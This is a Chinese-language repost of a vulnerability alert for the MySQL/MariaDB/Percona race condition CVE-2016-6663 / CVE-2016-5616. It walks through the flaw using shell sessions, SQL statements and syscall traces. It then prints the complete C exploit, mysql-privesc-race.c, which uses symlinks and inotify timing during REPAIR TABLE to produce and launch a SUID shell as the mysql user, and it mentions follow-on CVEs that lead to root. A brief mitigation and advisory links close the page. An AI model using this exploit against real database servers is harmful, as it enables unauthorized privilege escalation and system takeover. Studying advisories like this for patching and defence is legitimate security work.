《MySQL / MariaDB / PerconaDB漏洞》要点: 本文介绍了MySQL / MariaDB / PerconaDB漏洞,希望对您有用。如果有疑问,可以联系我们。
【漏洞预警】MySQL / MariaDB / PerconaDB - 提权/条件竞争漏洞(附POC)(8:00更新) 
漏洞发现人:Dawid Golunski 漏洞级别:严重 CVE编号 :CVE-2016-6663 / CVE-2016-5616 漏洞影响: |
MariaDB< 5.5.52< 10.1.18
< 10.0.28
MySQL<= 5.5.51<= 5.6.32
<= 5.7.14
Percona Server< 5.5.51-38.2< 5.6.32-78-1
< 5.7.14-8
Percona XtraDB Cluster< 5.6.32-25.17< 5.7.14-26.17
< 5.5.41-37.0
漏洞描述 :
Dawid Golunski在 MySQl,MariaDB 和 PerconaDB 数据库中发现条件竞争漏洞,该漏洞允许本地用户使用低权限(CREATE/INSERT/SELECT权限)账号提升权限到数据库系统用户(通常是'mysql')执行任意代码.成功利用此漏洞,允许攻击者完全访问数据库.也有潜在风险通过(CVE-2016-6662 和 CVE-2016-6664漏洞)获取操作系统root权限.
漏洞细节:
基于MYSQL的数据库允许用户新建数据库,并且指定存储目录.例如:
1<p style=
"text-indent: 2em;"
>attacker@debian:~$
mkdir
/tmp/disktable
<br>attacker@debian:~$
chmod
777
/tmp/disktable/
<br>attacker@debian:~$
ls
-ld
/tmp/disktable/
<br>drwxrwxrwx 2 attacker attacker 4096 Oct 28 10:53
/tmp/disktable/
<br><
/p
>
可以通过data directory参数指定存储目录为/tmp/disktable/
1<p style=
"text-indent: 2em;"
>mysql> CREATE TABLE poctab1 (txt varchar(50)) engine =
'MyISAM'
data directory
'/tmp/disktable'
;<br><
/p
>
执行完成后,查看下目录权限,变为mysql
1<p style=
"text-indent: 2em;"
>attacker@debian:~$
ls
-l
/tmp/disktable/
<br>total 0<br>-rw-rw---- 1 mysql mysql 0 Oct 28 10:53 poctab1.MYD<br><
/p
>
低权限(SELECT/CREATE/INSERT权限)的MYSQL账户,在执行表修复过程中,执行了不安全的临时文件创建.
1<p style=
"text-indent: 2em;"
>mysql> REPAIR TABLE `poctab1`;<br>+----------------+--------+----------+----------+<br>| Table | Op | Msg_type | Msg_text |<br>+----------------+--------+----------+----------+<br>| testdb.poctab1 | repair | status | OK |<br>+----------------+--------+----------+----------+<br><
/p
>
通过查看系统调用,可以看到
1<p style=
"text-indent: 2em;"
>[pid 1463] lstat(
"/tmp/disktable/poctab1.MYD"
,{st_mode=S_IFREG|0660,st_size=0,...}) = 0<br>[pid 1463]
open
(
"/tmp/disktable/poctab1.MYD"
,O_RDWR) = 65<br>[pid 1463] access(
"./testdb/poctab1.TRG"
,F_OK) = -1 ENOENT (No such
file
or directory)<br>[pid 1463] lseek(65,SEEK_CUR) = 0<br>[pid 1463] lseek(65,SEEK_END) = 0<br>[pid 1463] mprotect(0x7f6a3804f000,12288,PROT_READ|PROT_WRITE) = 0<br>[pid 1463]
open
(
"/tmp/disktable/poctab1.TMD"
,O_RDWR|O_CREAT|O_EXCL|O_TRUNC,0660) = 66<br>[pid 1463] lseek(65,SEEK_END) = 0<br>[pid 1463] lseek(64,SEEK_END) = 1024<br>[pid 1463] close(65) = 0<br>[pid 1463] close(66) = 0<br>[pid 1463] lstat(
"/tmp"
,{st_mode=S_IFDIR|S_ISVTX|0777,st_size=4096,...}) = 0<br>[pid 1463] lstat(
"/tmp/disktable"
,{st_mode=S_IFDIR|0777,...}) = 0<br>[pid 1463] lstat(
"/tmp/disktable/poctab1.MYD"
,...}) = 0<br>[pid 1463] stat(
"/tmp/disktable/poctab1.MYD"
,...}) = 0<br>[pid 1463]
chmod
(
"/tmp/disktable/poctab1.TMD"
,0660) = 0<br>[pid 1463]
chown
(
"/tmp/disktable/poctab1.TMD"
,110,115) = 0<br>[pid 1463] unlink(
"/tmp/disktable/poctab1.MYD"
) = 0<br>[pid 1463] rename(
"/tmp/disktable/poctab1.TMD"
,
"/tmp/disktable/poctab1.MYD"
) = 0<br><
/p
>
第一个系统调用是
1<p style=
"text-indent: 2em;"
>[pid 1463] lstat(
"/tmp/disktable/poctab1.MYD"
,...}) = 0<br><
/p
>
我们可以看到,在检验poctab1.MYD表文件权限的时候,也会复制在创建repaired表时的临时文件chmod()权限.因此在
1<p style=
"text-indent: 2em;"
>[pid 1463] lstat(
"/tmp/disktable/poctab1.MYD"
,...}) = 0<br><
/p
>
和
1<p style=
"text-indent: 2em;"
>[pid 1463]
chmod
(
"/tmp/disktable/poctab1.TMD"
,0660) = 0<br><
/p
>
系统调用之间,产生了条件竞争漏洞.
如果攻击者删除临时表poctab1.TMD,然后通过符号链接在chmod()操作前替换/var/lib/mysql,则能够完全控制MYSQL的data目录权限.
攻击者可以预设置poctab1.MYD权限为04777(suid),然后通过有漏洞的chmod()调用有效的复制一个bash shell来执行命令.这里会有一个问题,suid shell将指挥保留攻击者的UID,而不是'mysql'用户.因此攻击者需要复制bash shell到mysql用户用户的表文件,然而mysql表文件又不具有写权限.
可以通过新建一个具有组粘帖位(group sticky bit)的目录来绕过这个限制
新建/tmp/disktable/目录,并赋予组粘帖位(group sticky bit)
1<p style=
"text-indent: 2em;"
>attacker@debian:
/tmp/disktable
$
chmod
g+s
/tmp/disktable/
<br>attacker@debian:
/tmp/disktable
$
ls
-ld
/tmp/disktable/
<br>drwxrwsrwx 2 attacker attacker 4096 Oct 28 11:25
/tmp/disktable/
<br><
/p
>
通过data directory参数指定存储目录为/tmp/disktable/
1<p style=
"text-indent: 2em;"
>mysql> CREATE TABLE poctab2 (txt varchar(50)) engine =
'MyISAM'
data directory
'/tmp/disktable'
;<br>Query OK,0 rows affected (0.00 sec)<br><
/p
>
再次查看/tmp/disktable/权限
1234attacker@debian:
/tmp/disktable
$
ls
-l
/tmp/disktable/
total 0
-rw-rw---- 1 mysql mysql 0 Oct 28 11:04 poctab1.MYD
-rw-rw---- 1 mysql attacker 0 Oct 28 11:34 poctab2.MYD
我们可以看到poctab2.MYD表已经是'mysql'权限了,但是属于'attacker'组.这样'attacker'就能够复制/bin/bash到poctab2.MYD文件了.
漏洞验证:


POC.
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211------------------[ mysql-privesc-race.c ]--------------------
/*
MySQL
/PerconaDB/MariaDB
- Privilege Escalation / Race Condition PoC Exploit
mysql-privesc-race.c (ver. 1.0)
CVE-2016-6663 / OCVE-2016-5616
Discovered
/Coded
by:
Dawid Golunski
dawid[at]legalhackers.com
@dawid_golunski
http:
//legalhackers
.com
Compile:
gcc mysql-privesc-race.c -o mysql-privesc-race -I
/usr/include/mysql
-lmysqlclient
Note:
* On RedHat-based systems you might need to change
/tmp
to another public directory
* For testing purposes only. Do no harm.
Full advisory URL:
http:
//legalhackers
.com
/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit
.html
*/
#include <fcntl.h>
#include <grp.h>
#include <mysql.h>
#include <pwd.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#define EXP_PATH "/tmp/mysql_privesc_exploit"
#define EXP_DIRN "mysql_privesc_exploit"
#define MYSQL_TAB_FILE EXP_PATH "/exploit_table.MYD"
#define MYSQL_TEMP_FILE EXP_PATH "/exploit_table.TMD"
#define SUID_SHELL EXP_PATH "/mysql_suid_shell.MYD"
#define MAX_DELAY 1000 // can be used in the race to adjust the timing if necessary
MYSQL *conn;
//
DB handles
MYSQL_RES *res;
MYSQL_ROW row;
unsigned long cnt;
void intro() {
printf
(
" 33[94mn"
"MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploitn"
"mysql-privesc-race.c (ver. 1.0)nn"
"CVE-2016-6663 / OCVE-2016-5616nn"
"For testing purposes only. Do no harm.nn"
"Discovered/Coded by:nn"
"Dawid Golunski n"
"http://legalhackers.com"
" 33[0mnn"
);
}
void usage(char *argv0) {
intro();
printf
(
"Usage:nn%s user pass db_host databasenn"
,argv0);
}
void mysql_cmd(char *sql_cmd,int silent) {
if
(!silent) {
printf
(
"%s n"
,sql_cmd);
}
if
(mysql_query(conn,sql_cmd)) {
fprintf(stderr,
"%sn"
,mysql_error(conn));
exit
(1);
}
res = mysql_store_result(conn);
if
(res>0) mysql_free_result(res);
}
int main(int argc,char **argv)
{
int randomnum = 0;
int io_notified = 0;
int myd_handle;
int wpid;
int is_shell_suid=0;
pid_t pid;
int status;
struct stat st;
/* io notify */
int fd;
int ret;
char buf[4096] __attribute__((aligned(8)));
int num_read;
struct inotify_event *event;
/* credentials */
char *user = argv[1];
char *password = argv[2];
char *db_host = argv[3];
char *database = argv[4];
//
Disable buffering of stdout
setvbuf(stdout,NULL,_IONBF,0);
//
Get the params
if
(argc!=5) {
usage(argv[0]);
exit
(1);
}
intro();
//
Show initial privileges
printf
(
"n[+] Starting the exploit as: n"
);
system(
"id"
);
//
Connect to the database server with provided credentials
printf
(
"n[+] Connecting to the database `%s` as %s@%sn"
,database,user,db_host);
conn = mysql_init(NULL);
if
(!mysql_real_connect(conn,db_host,password,0)) {
fprintf(stderr,mysql_error(conn));
exit
(1);
}
//
Prepare tmp
dir
printf
(
"n[+] Creating exploit temp directory %sn"
,
"/tmp/"
EXP_DIRN);
umask
(000);
system(
"rm -rf /tmp/"
EXP_DIRN
" && mkdir /tmp/"
EXP_DIRN);
system(
"chmod g+s /tmp/"
EXP_DIRN );
//
Prepare exploit tables :)
printf
(
"n[+] Creating mysql tables nn"
);
mysql_cmd(
"DROP TABLE IF EXISTS exploit_table"
,0);
mysql_cmd(
"DROP TABLE IF EXISTS mysql_suid_shell"
,0);
mysql_cmd(
"CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '"
EXP_PATH
"'"
,0);
mysql_cmd(
"CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '"
EXP_PATH
"'"
,0);
//
Copy
/bin/bash
into the mysql_suid_shell.MYD mysql table
file
//
The
file
should be owned by mysql:attacker thanks to the sticky bit on the table directory
printf
(
"n[+] Copying bash into the mysql_suid_shell table.n After the exploitation the following file/table will be assigned SUID and executable bits : n"
);
system(
"cp /bin/bash "
SUID_SHELL);
system(
"ls -l "
SUID_SHELL);
//
Use inotify to get the timing right
fd = inotify_init();
if
(fd < 0) {
printf
(
"failed to inotify_initn"
);
return
-1;
}
ret = inotify_add_watch(fd,EXP_PATH,IN_CREATE | IN_CLOSE);
/* Race loop
until
the mysql_suid_shell.MYD table
file
gets assigned SUID+
exec
perms */
printf
(
"n[+] Entering the race loop... Hang in there...n"
);
while
( is_shell_suid != 1 ) {
cnt++;
if
( (cnt % 100) == 0 ) {
printf
(
"->"
);
//fflush
(stdout);
}
/* Create empty
file
,remove
if
already exists */
unlink(MYSQL_TEMP_FILE);
unlink(MYSQL_TAB_FILE);
mysql_cmd(
"DROP TABLE IF EXISTS exploit_table"
,1);
mysql_cmd(
"CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '"
EXP_PATH
"'"
,1);
/* random num
if
needed */
srand (
time
(NULL) );
randomnum = ( rand() % MAX_DELAY );
//
Fork,to run the query asynchronously and have
time
to replace table
file
(MYD) with a
symlink
pid = fork();
if
(pid < 0) {
fprintf(stderr,
"Fork failed :(n"
);
}
/* Child process - executes REPAIR TABLE SQL statement */
if
(pid == 0) {
usleep(500);
unlink(MYSQL_TEMP_FILE);
mysql_cmd(
"REPAIR TABLE exploit_table EXTENDED"
,1);
//
child stops here
exit
(0);
}
/* Parent process - aims to replace the temp .tmd table with a
symlink
before
chmod
*/
if
(pid > 0 ) {
io_notified = 0;
while
(1) {
int processed = 0;
ret =
read
(fd,buf,sizeof(buf));
if
(ret < 0) {
break
;
}
while
(processed < ret) {
event = (struct inotify_event *)(buf + processed);
if
(event->mask & IN_CLOSE) {
if
(!strcmp(event->name,
"exploit_table.TMD"
)) {
//usleep
(randomnum);
//
Set the .MYD permissions to suid+
exec
before they get copied to the .TMD
file
unlink(MYSQL_TAB_FILE);
myd_handle =
open
(MYSQL_TAB_FILE,O_CREAT,0777);
close(myd_handle);
chmod
(MYSQL_TAB_FILE,04777);
//
Replace the temp .TMD
file
with a
symlink
to the target sh binary to get suid+
exec
unlink(MYSQL_TEMP_FILE);
symlink
(SUID_SHELL,MYSQL_TEMP_FILE);
io_notified=1;
}
}
processed += sizeof(struct inotify_event);
}
if
(io_notified) {
break
;
}
}
waitpid(pid,&status,0);
}
//
Check
if
SUID bit was
set
at the end of this attempt
if
( lstat(SUID_SHELL,&st) == 0 ) {
if
(st.st_mode & S_ISUID) {
is_shell_suid = 1;
}
}
}
printf
(
"nn[+] 33[94mBingo! Race won (took %lu tries) ! 33[0m Check out the 33[94mmysql SUID shell 33[0m: nn"
,cnt);
system(
"ls -l "
SUID_SHELL);
printf
(
"n[+] Spawning the 33[94mmysql SUID shell 33[0m now... n Remember that from there you can gain 33[1;31mroot 33[0m with vuln 33[1;31mCVE-2016-6662 33[0m or 33[1;31mCVE-2016-6664 33[0m :)nn"
);
system(SUID_SHELL
" -p -i "
);
//system
(SUID_SHELL
" -p -c '/bin/bash -i -p'"
);
/* close MySQL connection and
exit
*/
printf
(
"n[+] Job done. Exitingnn"
);
mysql_close(conn);
return
0;
}
视频参考(作者随后上传):
http://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html
临时解决办法:
在my.cnf中添加
symbolic-links = 0
参考链接:
http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html
欢迎参与《MySQL / MariaDB / PerconaDB漏洞》讨论,分享您的想法,编程之家PHP学院为您提供专业教程。
(编辑:李大同)
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!